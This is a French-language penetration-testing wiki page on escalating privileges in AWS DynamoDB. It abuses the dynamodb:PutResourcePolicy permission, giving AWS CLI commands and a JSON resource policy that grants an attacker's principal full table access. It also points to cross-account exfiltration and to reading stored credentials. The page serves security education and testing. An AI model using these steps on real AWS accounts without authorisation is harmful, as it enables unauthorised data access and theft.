# AWS - DynamoDB Privesc

{{#include ../../../banners/hacktricks-training.md}}

## dynamodb

Pour plus d'informations sur dynamodb, consultez :

{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:PutResourcePolicy`, et éventuellement `dynamodb:GetResourcePolicy`

Depuis mars 2024, AWS propose des *politiques basées sur les ressources* pour DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).

Ainsi, si vous avez le `dynamodb:PutResourcePolicy` pour une table, vous pouvez simplement vous accorder, ou accorder à tout autre principal, un accès complet à la table.

Accorder le `dynamodb:PutResourcePolicy` à un principal aléatoire se produit souvent par accident, si les administrateurs pensent que l'octroi de `dynamodb:Put*` ne permettrait au principal que d'ajouter des éléments à la base de données - ou s'ils ont accordé cet ensemble de permissions avant mars 2024...

Idéalement, vous avez également `dynamodb:GetResourcePolicy`, afin de ne pas écraser d'autres permissions potentiellement vitales, mais seulement d'injecter les permissions supplémentaires dont vous avez besoin :
```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
```
Si vous ne pouvez pas récupérer la politique actuelle, utilisez simplement celle-ci qui accorde un accès complet sur la table à votre principal :
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
```
Si vous devez le personnaliser, voici une liste de toutes les actions DynamoDB possibles : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Et voici une liste de toutes les actions qui peuvent être autorisées via une politique basée sur les ressources *ET lesquelles de celles-ci peuvent être utilisées entre comptes (pensez à l'exfiltration de données !)* : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)

Maintenant, avec le document de politique `policy.json` prêt, mettez la politique de ressource :
```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
```
Maintenant, vous devriez avoir les autorisations nécessaires.

### Post Exploitation

Autant que je sache, il n'y a **aucun autre moyen direct d'escalader les privilèges dans AWS juste en ayant quelques autorisations `dynamodb` AWS**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :

{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
{{#endref}}

### À FAIRE : Lire des données en abusant des flux de données

{{#include ../../../banners/hacktricks-training.md}}
